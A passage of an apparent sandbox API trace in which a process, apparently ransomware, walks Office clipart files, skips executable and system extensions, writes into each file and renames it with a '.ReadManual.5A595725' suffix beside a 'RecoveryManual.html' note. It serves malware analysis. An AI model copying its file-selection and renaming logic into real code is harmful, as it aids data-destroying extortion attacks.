dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa0b0) returned 0x2f0000 [0268.579] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.579] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38924773954) returned 1 [0268.579] CloseHandle (hObject=0x184) returned 1 [0268.579] SetSecurityInfo () returned 0x57 [0268.579] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.579] CloseHandle (hObject=0x194) returned 1 [0268.579] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0268.579] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200377.WMF" | out: lpString1="J0200377.WMF") returned="J0200377.WMF" [0268.579] lstrcmpiW (lpString1="J0200377.WMF", lpString2="RecoveryManual.html") returned -1 [0268.579] StrStrIW (lpFirst="J0200377.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.579] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.579] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.579] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.580] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.580] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" [0268.580] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.ReadManual.5A595725" [0268.580] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.ReadManual.5A595725") returned 87 [0268.580] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38924870027) returned 1 [0268.580] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf")) returned 0x20 [0268.580] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.580] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20232) returned 1 [0268.580] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f08, lpName=0x0) returned 0x184 [0268.581] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.581] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.581] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.583] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.584] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f08) returned 0x2f0000 [0268.584] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.584] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38925287753) returned 1 [0268.584] CloseHandle (hObject=0x184) returned 1 [0268.584] SetSecurityInfo () returned 0x57 [0268.584] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.584] CloseHandle (hObject=0x194) returned 1 [0268.584] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0268.584] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200383.WMF" | out: lpString1="J0200383.WMF") returned="J0200383.WMF" [0268.584] lstrcmpiW (lpString1="J0200383.WMF", lpString2="RecoveryManual.html") returned -1 [0268.585] StrStrIW (lpFirst="J0200383.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.585] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.585] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.585] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" [0268.585] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.ReadManual.5A595725" [0268.585] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.ReadManual.5A595725") returned 87 [0268.585] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38925385739) returned 1 [0268.585] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf")) returned 0x20 [0268.586] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.586] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21400) returned 1 [0268.586] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5398, lpName=0x0) returned 0x184 [0268.586] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.587] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.587] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.589] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.589] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5398) returned 0x2f0000 [0268.589] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.589] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38925811745) returned 1 [0268.589] CloseHandle (hObject=0x184) returned 1 [0268.589] SetSecurityInfo () returned 0x57 [0268.590] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.590] CloseHandle (hObject=0x194) returned 1 [0268.590] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0268.590] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200467.WMF" | out: lpString1="J0200467.WMF") returned="J0200467.WMF" [0268.590] lstrcmpiW (lpString1="J0200467.WMF", lpString2="RecoveryManual.html") returned -1 [0268.590] StrStrIW (lpFirst="J0200467.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.590] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.590] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.590] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" [0268.590] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.ReadManual.5A595725" [0268.590] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.ReadManual.5A595725") returned 87 [0268.590] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38925907954) returned 1 [0268.590] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf")) returned 0x20 [0268.591] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.591] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13934) returned 1 [0268.591] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x366e, lpName=0x0) returned 0x184 [0268.591] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.592] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.592] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.593] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.594] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x366e) returned 0x2f0000 [0268.594] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.594] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38926270460) returned 1 [0268.594] CloseHandle (hObject=0x184) returned 1 [0268.594] SetSecurityInfo () returned 0x57 [0268.594] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.594] CloseHandle (hObject=0x194) returned 1 [0268.594] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0268.594] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200521.WMF" | out: lpString1="J0200521.WMF") returned="J0200521.WMF" [0268.594] lstrcmpiW (lpString1="J0200521.WMF", lpString2="RecoveryManual.html") returned -1 [0268.594] StrStrIW (lpFirst="J0200521.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.594] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.594] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.594] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.594] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.594] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.595] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.595] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" [0268.595] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.ReadManual.5A595725" [0268.595] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.ReadManual.5A595725") returned 87 [0268.595] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38926367194) returned 1 [0268.595] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf")) returned 0x20 [0268.595] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.595] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10046) returned 1 [0268.596] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x273e, lpName=0x0) returned 0x184 [0268.596] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.596] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.596] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.598] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.598] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x273e) returned 0x2f0000 [0268.598] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.598] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38926710241) returned 1 [0268.598] CloseHandle (hObject=0x184) returned 1 [0268.598] SetSecurityInfo () returned 0x57 [0268.599] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.599] CloseHandle (hObject=0x194) returned 1 [0268.599] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0268.599] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0200611.WMF" | out: lpString1="J0200611.WMF") returned="J0200611.WMF" [0268.599] lstrcmpiW (lpString1="J0200611.WMF", lpString2="RecoveryManual.html") returned -1 [0268.599] StrStrIW (lpFirst="J0200611.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.599] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.599] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.599] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" [0268.599] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.ReadManual.5A595725" [0268.599] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.ReadManual.5A595725") returned 87 [0268.599] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38926808637) returned 1 [0268.599] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf")) returned 0x20 [0268.600] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.600] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3894) returned 1 [0268.600] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf36, lpName=0x0) returned 0x184 [0268.600] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.601] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.601] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.602] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.603] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf36) returned 0x2f0000 [0268.603] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38927148841) returned 1 [0268.603] CloseHandle (hObject=0x184) returned 1 [0268.603] SetSecurityInfo () returned 0x57 [0268.603] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.603] CloseHandle (hObject=0x194) returned 1 [0268.603] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0268.603] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0202045.JPG" | out: lpString1="J0202045.JPG") returned="J0202045.JPG" [0268.603] lstrcmpiW (lpString1="J0202045.JPG", lpString2="RecoveryManual.html") returned -1 [0268.603] StrStrIW (lpFirst="J0202045.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.603] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0268.603] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0268.603] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0268.603] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0268.603] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0268.603] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0268.603] StrCmpIW 